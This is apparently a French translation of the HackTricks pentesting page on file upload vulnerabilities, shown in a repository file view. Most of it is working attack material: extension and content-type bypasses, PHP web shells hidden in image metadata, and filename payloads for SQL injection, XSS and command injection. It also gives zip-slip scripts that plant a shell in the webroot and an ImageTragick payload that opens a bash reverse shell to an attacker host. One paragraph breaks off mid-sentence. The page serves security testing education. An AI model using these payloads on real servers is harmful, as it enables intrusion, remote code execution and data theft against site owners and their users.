hacktricks/pentesting-web/file-upload.md
2023-06-03 13:10:46 +00:00

243 lines
18 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Méthodologie générale de téléchargement de fichiers
1. Essayez de télécharger un fichier avec une **double extension** \(ex: _file.png.php_ ou _file.png.php5_\).
* Extensions PHP: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_
* Extensions ASP: _.asp, .aspx, .config, .ashx, .asmx_, _.aspq_, _.axd_, _.cshtm_, _.cshtml_, _.rem_, _.soap_, _.vbhtm_, _.vbhtml_, _.asa_, _.asp_, _.cer_, _.shtml_
2. Essayez de mettre en majuscule certaines lettres de l'extension. Par exemple: _.pHp, .pHP5, .PhAr ..._
3. Essayez de télécharger une **double extension \(ou plus\)** \(utile pour contourner les vérifications mal configurées qui testent si une extension spécifique est simplement présente\):
1. _file.png.php_
2. _file.png.txt.php_
4. Essayez de télécharger une **double extension inversée** \(utile pour exploiter les erreurs de configuration d'Apache où tout ce qui a une extension _.php_, mais **pas nécessairement en .php** exécutera le code\):
* _ex: file.php.png_
5. Double extension avec un **caractère nul**:
1. _ex: file.php%00.png_
6. **Ajoutez quelques caractères spéciaux à la fin** de l'extension_: %00, %20, \(plusieurs points\)...._
1. _file.php%00_
2. _file.php%20_
3. _file.php...... --> Sous Windows, lorsqu'un fichier est créé avec des points à la fin, ceux-ci seront supprimés \(vous pouvez donc contourner les filtres qui vérifient l'extension .php\)
4. _file.php/_
5. _file.php.\_
7. Contournez les vérifications de type de contenu en définissant la **valeur** de l'en-tête **Content-Type** à: _image/png_, _text/plain, application/octet-stream_
8. Contournez la vérification du nombre magique en ajoutant au début du fichier les **octets d'une vraie image** \(confondre la commande _file_\). Ou introduisez le shell dans les **métadonnées**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
1. Il est également possible que les **octets magiques** soient simplement **vérifiés** dans le fichier et que vous puissiez les **définir n'importe où dans le fichier**.
9. Utilisation du **flux de données alternatif NTFS \(ADS\)** dans **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une extension autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur \(par exemple "file.asax:.jpg"\). Ce fichier peut être modifié ultérieurement en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif "**::$data**" peut également être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un caractère point après ce motif peut également être utile pour contourner d'autres restrictions \(par exemple "file.asp::$data."\)
10. **Téléchargez** la porte dérobée avec une **extension autorisée** \(_png_\) et priez pour une **mauvaise configuration** qui exécute la porte dérobée
11. Trouvez une vulnérabilité pour **renommer** le fichier déjà téléchargé \(pour changer l'extension\).
12. Trouvez une vulnérabilité de **Local File Inclusion** pour exécuter la porte dérobée.
13. **Possible divulgation d'informations**:
1. Téléchargez **plusieurs fois** \(et en **même temps**\) le **même fichier** avec le **même nom**
2. Téléchargez un fichier avec le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
3. Télécharger un fichier avec **“.”, “..”, ou “…” comme nom**. Par exemple, dans Apache sous **Windows**, si l'application enregistre les fichiers téléchargés dans le répertoire "/www/uploads/", le nom de fichier "." créera un fichier appelé "uploads" dans le répertoire "/www/".
4. Téléchargez un fichier qui ne peut pas être facilement supprimé tel que **“…:.jpg”** dans **NTFS**. \(Windows\)
5. Téléchargez un fichier dans **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. \(Windows\)
6. Téléchargez un fichier dans **Windows** en utilisant des **noms réservés** \(**interdits**\) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9.
Essayez également de **télécharger un exécutable** \(.exe\) ou un **.html** \(moins suspect\) qui **exécutera du code** lorsqu'il sera ouvert accidentellement par la victime.
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}
Si vous essayez de télécharger des fichiers sur un serveur **PHP**, [consultez l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).
Si vous essayez de télécharger des fichiers sur un serveur **ASP**, [consultez l'astuce **.config** pour exécuter du code](../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Les fichiers `.phar` sont comme les fichiers `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** \(en l'exécutant avec PHP ou en l'incluant dans un script...\)
L'extension `.inc` est parfois utilisée pour les fichiers PHP qui ne sont utilisés que pour **importer des fichiers**, donc à un moment donné, quelqu'un pourrait avoir autorisé **cette extension à être exécutée**.
**Vérifiez de nombreuses vulnérabilités possibles de téléchargement de fichiers avec le plugin BurpSuit** [**https://github.com/modzero/mod0BurpUploadScanner**](https://github.com/modzero/mod0BurpUploadScanner) **ou utilisez une application console qui trouve quels fichiers peuvent être téléchargés et essayez différentes astuces pour exécuter du code:** [**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider)
## **Astuce de téléchargement de fichiers/SSRF wget**
Dans certains cas, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés est dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vér
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Notez que **une autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire **rediriger le serveur HTTP vers un fichier différent**, de sorte que l'URL initiale contourne la vérification, puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins que** wget ne soit utilisé avec le **paramètre** `--trust-server-names` car **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL d'origine**.
# De l'upload de fichiers à d'autres vulnérabilités
* Définissez le **nom de fichier** sur `../../../tmp/lol.png` et essayez d'obtenir une **traversée de chemin**
* Définissez le **nom de fichier** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'obtenir une **injection SQL**
* Définissez le **nom de fichier** sur `<svg onload=alert(document.comain)>` pour obtenir une XSS
* Définissez le **nom de fichier** sur `; sleep 10;` pour tester une injection de commande \(plus de [trucs d'injection de commande ici](command-injection.md)\)
* [**XSS** dans l'upload de fichiers image \(svg\)](xss-cross-site-scripting/#xss-uploading-files-svg)
* **Upload** de fichier **JS** + **XSS** = exploitation de [**Service Workers**](xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE dans l'upload de fichiers svg**](xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Redirection ouverte** via l'upload de fichiers svg](open-redirect.md#open-redirect-uploading-svg-files)
* [Célèbre vulnérabilité **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Si vous pouvez **indiquer au serveur web de récupérer une image à partir d'une URL**, vous pouvez essayer d'exploiter une [SSRF](ssrf-server-side-request-forgery.md). Si cette **image** doit être **enregistrée** sur un site **public**, vous pouvez également indiquer une URL à partir de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations sur chaque visiteur**.
Voici une liste des 10 choses que vous pouvez réaliser en téléchargeant des fichiers \(à partir de [lien](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS stockée / SSRF / XXE
3. **GIF**: XSS stockée / SSRF
4. **CSV**: Injection CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : Injection HTML / XSS / Redirection ouverte
8. **PNG / JPEG**: Attaque de flood de pixels \(DoS\)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
# Upload de fichiers ZIP automatiquement décompressés
Si vous pouvez télécharger un ZIP qui va être décompressé à l'intérieur du serveur, vous pouvez faire 2 choses:
## Lien symbolique
Téléchargez un lien contenant des liens symboliques vers d'autres fichiers, puis, en accédant aux fichiers décompressés, vous accéderez aux fichiers liés:
```text
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```
## Décompression dans différents dossiers
Les fichiers décompressés seront créés dans des dossiers inattendus.
On pourrait facilement supposer que cette configuration protège contre l'exécution de commandes au niveau du système d'exploitation via des téléchargements de fichiers malveillants, mais malheureusement ce n'est pas vrai. Étant donné que le format d'archive ZIP prend en charge la compression hiérarchique et que nous pouvons également faire référence à des répertoires de niveau supérieur, nous pouvons échapper au répertoire de téléchargement sécurisé en abusant de la fonction de décompression de l'application cible.
Une exploitation automatisée pour créer ce type de fichiers peut être trouvée ici: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
```python
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Voici du code Python pour créer une archive zip malveillante :
```python
import zipfile
# Create a new zip file
zip_file = zipfile.ZipFile('malicious.zip', mode='w')
# Add a file to the zip file
zip_file.write('malicious_payload.php')
# Add a symbolic link to the zip file
zip_file.writestr('../uploads/malicious_payload.php', '')
# Close the zip file
zip_file.close()
```
Ce code crée une archive zip malveillante contenant un fichier `malicious_payload.php` et un lien symbolique pointant vers ce fichier.
```python
#!/usr/bin/python
import zipfile
from cStringIO import StringIO
def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
```
Pour réaliser l'exécution de commande à distance, j'ai suivi les étapes suivantes :
1. Créer un shell PHP :
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. Utilisez la technique de "file spraying" et créez un fichier zip compressé :
```text
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
```
3. Utilisez un éditeur hexadécimal ou vi et changez "xxA" en "../", j'ai utilisé vi:
```text
:set modifiable
:%s/xxA/..\//g
:x!
```
Il ne reste plus qu'une étape : télécharger le fichier ZIP et laisser l'application le décompresser ! Si cela réussit et que le serveur web dispose de suffisamment de privilèges pour écrire dans les répertoires, il y aura un simple shell d'exécution de commandes OS sur le système :
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
**Référence** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
# ImageTragic
Téléchargez ce contenu avec une extension d'image pour exploiter la vulnérabilité **\(ImageMagick, 7.0.1-1\)**.
```text
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
# Intégration d'un shell PHP dans PGN
La raison principale de la mise en place d'un shell web dans le chunk IDAT est qu'il a la capacité de contourner les opérations de redimensionnement et de rééchantillonnage - PHP-GD contient deux fonctions pour cela [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) et [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
Lisez cet article: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
# Fichiers polyglottes
Les polyglottes, dans un contexte de sécurité, sont des fichiers qui sont une forme valide de plusieurs types de fichiers différents. Par exemple, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) est à la fois un fichier GIF et RAR. Il existe également des fichiers qui peuvent être à la fois GIF et JS, à la fois PPT et JS, etc.
Les fichiers polyglottes sont souvent utilisés pour contourner la protection basée sur les types de fichiers. De nombreuses applications qui permettent aux utilisateurs de télécharger des fichiers n'autorisent que le téléchargement de certains types, tels que JPEG, GIF, DOC, afin d'empêcher les utilisateurs de télécharger des fichiers potentiellement dangereux tels que des fichiers JS, des fichiers PHP ou des fichiers Phar.
Cela permet de télécharger un fichier qui est conforme au format de plusieurs formats différents. Cela peut vous permettre de télécharger un fichier PHAR (PHp ARchive) qui ressemble également à un JPEG, mais vous aurez probablement toujours besoin d'une extension valide et si la fonction de téléchargement ne le permet pas, cela ne vous aidera pas.
Plus d'informations sur: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>